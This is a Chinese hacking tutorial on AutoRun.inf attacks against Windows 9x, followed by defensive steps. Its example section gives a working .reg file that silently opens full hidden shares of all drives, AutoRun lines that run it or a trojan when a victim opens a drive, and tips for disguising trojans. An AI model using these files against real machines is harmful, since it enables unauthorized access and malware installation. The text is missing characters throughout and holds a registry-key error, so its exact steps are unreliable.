解析来自Autorun.inf文件的攻击

最近网上流行通过AutoRun.inf文件使对方所有硬盘完全共享或中木马思路方法由于AutoRun.inf文件在黑客技术中应用还是很少见相应资料也不多有很多人对此觉得很神秘本文试图为您解开这个迷使您能完全了解这个并不复杂却极其有趣技术

  、理论基础

  经常使用光盘朋友都知道有很多光盘放入光驱就会自动运行它们是如何做呢?光盘放入光驱就会自动被执行主要依靠两个文件是光盘上AutoRun.inf文件个是操作系统本身系统文件的Cdvsd.vxdCdvsd.vxd会随时侦测光驱中是否有放入光盘动作如果有便开始寻找光盘根目录下AutoRun.inf文件如果存在AutoRun.inf文件则执行它里面预设

  AutoRun.inf不光能让光盘自动运行也能让硬盘自动运行思路方法很简单先打开记事本然后用鼠标右键点击该文件在弹出菜单中选择“重命名”将其改名为AutoRun.inf在AutoRun.inf中键入以下内容:

  [AutoRun]    //表示AutoRun部分开始必须输入
  Icon=C:\C.ico  //给C盘个个性化盘符图标C.ico
  Open=C:\1.exe  //指定要运行路径和名称在此为C盘下1.exe

  保存该文件按F5刷新桌面再看“我电脑”中该盘符(在此为C盘)你会发现它磁盘图标变了双击进入C盘还会自动播放C盘下1.exe文件!

  解释下:“[AutoRun]”行是必须固定格式“Icon”行对应是图标文件“C:\C.ico”为图标文件路径和文件名你在输入时可以将它改为你图片文件所在路径和文件名另外“.ico”为图标文件扩展名如果你手头上没有这类文件可以用看图软件SoftwareACDSee将其他格式软件Software转换为ico格式或者找到个后缀名为BMP文件将它直接改名为ICO文件即可

  “Open”行指定要自动运行文件及其盘符和路径要特别介绍说明如果你要改变硬盘跟目录下没有自动播放文件就应该把“OPEN”行删掉否则就会找不到自动播放文件而打不开硬盘此时只能用鼠标右键单击盘符在弹出菜单中选“打开”才行

  请大家注意:保存文件名必须是“AutoRun.inf”编制好Autorun.inf文件和图标文件定要放在硬盘根目录下更进如果你某个硬盘内容暂时比较固定不妨用Flash做个自动播放文件再编上“Autorun”文件那你就有最酷、最个性硬盘了

  到这儿还没有完大家知道些光盘放入后我们在其图标上单击鼠标右键还会产生个具有特色目录菜单如果能对着我们硬盘点击鼠标右键也产生这样效果那将更加有特色其实光盘能有这样效果也仅仅是在AutoRun.inf文件中有如下两条语句:

  shell\标志=显示鼠标右键菜单中内容

  shell\标志\command=要执行文件或命令行

  所以要让硬盘具有特色目录菜单在AutoRun.inf文件中加入上述语句即可举例如下:

  shell\1=天若有情天亦老
  shell\1\command\=notepad ok.txt

保存完毕按F5键刷新然后用鼠标右键单击硬盘图标在弹出菜单中会发现“天若有情天亦老”(图1)点击它会自动打开硬盘中“ok.txt”文件注意:上面举例假设“ok.txt”文件在硬盘根目录下notepad为系统自带记事本如果要执行文件为直接可执行则在“command\”后直接添加该执行文件名即可



图 1

   2、例子

  下面就举个例子:如果你扫到台开着139共享机器而对方只完全共享了D盘我们要让对方所有驱动器都共享首先编辑个注册表文件打开记事本键入以下内容:

  REGEDIT4
  '此处定要空
  [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\Lanman\C$]
  "Path"="C:\\"
  "Remark"=""
  "Type"=dword:00000000
  "Flags"=dword:00000302
  "Parmlenc"=hex:
  "Parm2enc"=hex:

  [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\Lanman\D$]
  "Path"="D:\\"
  "Remark"=""
  "Type"=dword:00000000
  "Flags"=dword:00000302
  "Parmlenc"=hex:
  "Parm2enc"=hex:

  [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\Lanman\C$]
  "Path"="E:\\"
  "Remark"=""
  "Type"=dword:00000000
  "Flags"=dword:00000302
  "Parmlenc"=hex:
  "Parm2enc"=hex:

  以上我只设置到E盘如果对方有很多逻辑盘符请自行设置将以上部分另存为Share.reg文件备用要特别注意REGEDIT4为大写且顶格书写其后要空上在最后行记得要按次回车键

  然后打开记事本编制个AutoRun.inf文件键入以下内容:

  [AutoRun]
  Open=regedit/s Share.reg   //加/s参数是为了导入时不会显示任何信息

  保存AutoRun.inf文件将Share.reg和AutoRun.inf这两个文件都复制到对方D盘根目录下这样对方只要双击D盘就会将Share.reg导入注册表这样对方电脑重启后所有驱动器就会都完全共享出来

  如果想让对方中木马只要在AutoRun.inf文件中把“Open=Share.Reg”改成“Open=木马服务端文件名”然后把AutoRun.inf和配置好木马服务端起复制到对方D盘根目录下这样不需对方运行木马服务端而只需他双击D盘就会使木马运行!这样做好处显而易见那就是大大增加了木马运行主动性!须知许多人现在都是非常警惕不熟悉文件他们轻易不会运行而这种思路方法就很难防范了

  要介绍说明给你下木马人不会那么蠢不给木马加以伪装般说来他们会给木马服务端文件改个名字或好听或和系统文件名很相像然后给木马换个图标使它看起来像TXT文件、ZIP文件或图片文件等最后修改木马资源文件使其不被杀毒软件Software识别(具体思路方法可以看本刊以前文章)当服务端用户信以为真时木马却悄悄侵入了系统其实换个角度理解就不难了——要是您给别人下木马我想你也会这样做以上手段再辅以如上内容AutoRun.inf文件就天衣无缝了!

3、防范思路方法

  共享分类完全是由flags标志决定键值决定了共享目录类型当flags=0x302时重新启动系统目录共享标志消失表面上看没有共享实际上该目录正处于完全共享状态网上流行共享蠕虫就是利用了此特性如果把"Flags"=dword:00000302改成"Flags"=dword:00000402就可以看到硬盘被共享了明白了吗?秘密就在这里!

  以上代码中Parmlenc、Parm2enc属性项是加密密码系统在加密时采用了8位密码分别和“35 9a 4b a6 53 a9 d4 6a”进行异或运算要想求出密码再进行次异或运算然后查ASCII表可得出目录密码在网络软件Software中有款软件Software就利用该属性进行网络密码破解在局域网内从台机器上可以看到另台计算机共享密码

  利用TCP/IP协议设计NethackerⅡ软件Software可以穿过Internet网络找到共享主机然后进行相应操作所以当您通过Modem上网时千万要小心不小心主机将完全共享给对方了

  解决办法是把HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan下面“C$”、“D$”、“E$”等删掉然后删除windows\system\下面Vserver.vxd删除它是Microsoft网络上文件和打印机共享虚拟设备驱动再把HKEY_LOCAL_MACHINE\\CurrentControlSet\Services\VxD\下Vserver键值删掉就会很安全了

  另外关闭硬盘AutoRun功能也是防范黑客入侵有效思路方法的具体思路方法是在“开始”菜单“运行”中输入Regedit打开注册表编辑器展开到HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Exploer主键下在右侧窗格中找到“NoDriveTypeAutoRun”就是这个键决定了是否执行CDROM或硬盘AutoRun功能

  双击“NoDriveTypeAutoRun”在默认状态下(即你没有禁止过AutoRun功能)在弹出窗口中可以看到“NoDriveTypeAutoRun”默认键值为95,00,00,00如图所示(图2)其中第个值“95”是十 6进制值它是所有被禁止自动运行设备将“95”转为 2进制就是10010101其中每位代表个设备Windows中区别设备会用如下数值表示:



图 2

  设备名称     第几位 值 设备用如下数值表示  设备名称含义
  DKIVE_UNKNOWN    0  1  01h         不能识别设备类型
  DRIVE_NO_ROOT_DIR  1  0  02h         没有根目录驱动器(Drive without root directory)
  DRIVE_REMOVABLE  2  1  04h         可移动驱动器(Removable drive)
  DRIVE_FIXED    3  0  08h         固定驱动器(Fixed drive) 
  DRIVE_REMOTE     4  1  10h         网络驱动器(Network drive)
  DRIVE_CDROM    5  0  20h         光驱(CD-ROM)  
  DRIVE_RAMDISK    6  0  40h         RAM磁盘(RAM Disk)
  保留         7  1  80h         未指定驱动器类型(Not yet specied drive disk)

  在上面所列表中值为“0”表示设备运行值为“1”表示该设备不运行(默认情况下Windows禁止80h、10h、4h、01h这些设备自动运行这些数值累加正好是十 6进制95h所以NoDriveTypeAutoRun”默认键值为95,00,00,00)

由上面分析不难看出在默认情况下会自动运行设备是DRIVE_NO_ROOT_DIR、DRIVE_FIXED、DRIVE_CDROM、DRIVE_RAMDISK这 4个保留设备所以要禁止硬盘自动运行AutoRun.inf文件就必须将DRIVE_FIXED值设为1这是DRIVE_FIXED代表固定驱动器即硬盘这样原来10010101(在表中“值”列中由下向上看)就变成了 2进制10011101转为十 6进制为9D现在将“NoDriveTypeAutoRun”键值改为9D,00,00,00后关闭注册表编辑器重启电脑后就会关闭硬盘AutoRun功能

  如果你看明白了那你肯定知道该怎样禁止光盘AutoRun功能了对!就是将DRIVE_CDROM设为1这样“NoDriveTypeAutoRun”键值中个值就变成了10110101也就是十 6进制B5将第个值改为B5后关闭注册表编辑器重启电脑后就会关闭CDROMAutorun功能如果仅想禁止软件Software光盘AutoRun功能但又保留对CD音频碟自动播放能力这时只需将“NoDriveTypeAutoRun”键值改为:BD,00,00,00即可

  如果想要恢复硬盘或光驱AutoRun功能进行反方向操作即可

  事实上大多数硬盘根目录下并不需要AutoRun.inf文件来运行因此我们完全可以将硬盘AutoRun功能关闭这样即使在硬盘根目录下有AutoRun.inf这个文件Windows也不会去运行其中指定从而可以达到防止黑客利用AutoRun.inf文件入侵

  除此以外我们还应让Windows能显示出隐藏共享大家都知道在Windows 9X中设置共享时通过在共享名后加上“$”这个符号可使共享隐藏比如我们给个名为share计算机C盘设置共享时只要将其共享名设为C$这样我们将看不到被共享C盘只有通过输入该共享确切路径才能访问此共享不过我们只要用将电脑中msnp32.dll文件稍做修改就可以让Windows显示出隐藏共享

  由于在Windows下msnp32.dll会被不能直接修改此文件所以第步我们要复制msnp32.dll到C盘下并改名为msnp32msnp32.dll在C:\Windows\system文件夹下运行UltraEdit等十 6进制文件编辑器打开msnp32找到“24 56 E8 17”(位于偏移地址00003190~000031A0处)找到后将“24”改为“00”然后保存关闭UltraEdit重启计算机进入DOS模式在命令提示符下输入copy c:\msnp32.dll c:\Windows\system\msnp32.dll重启进入Windows现在双击share就能看见被隐藏共享了

  最后要提醒大家利用TCP/IP协议设计NethackerⅡ等黑客软件Software可以穿过Internet网络找到共享主机然后进行相应操作所以当您通过Modem上网时千万要小心不小心主机将完全共享给对方了防范这类事情发生思路方法无非是经常检查系统给系统打上补丁经常使用反黑杀毒软件Software上网时打开防火墙注意异常现象留意AutoRun.inf文件内容关闭共享或不要设置为完全共享且加上复杂共享密码

  声明:本文是使大家能清楚地了解网上流行黑客手段增强自己防护意识因此请大家不要用本文思路方法去干违法事情切记:己所不欲勿施于人




  • 篇文章: Vi可以冲破某些Shell

  • 篇文章: DIY EXE2BAT
  • Tags: 

    延伸阅读

    最新评论

    发表评论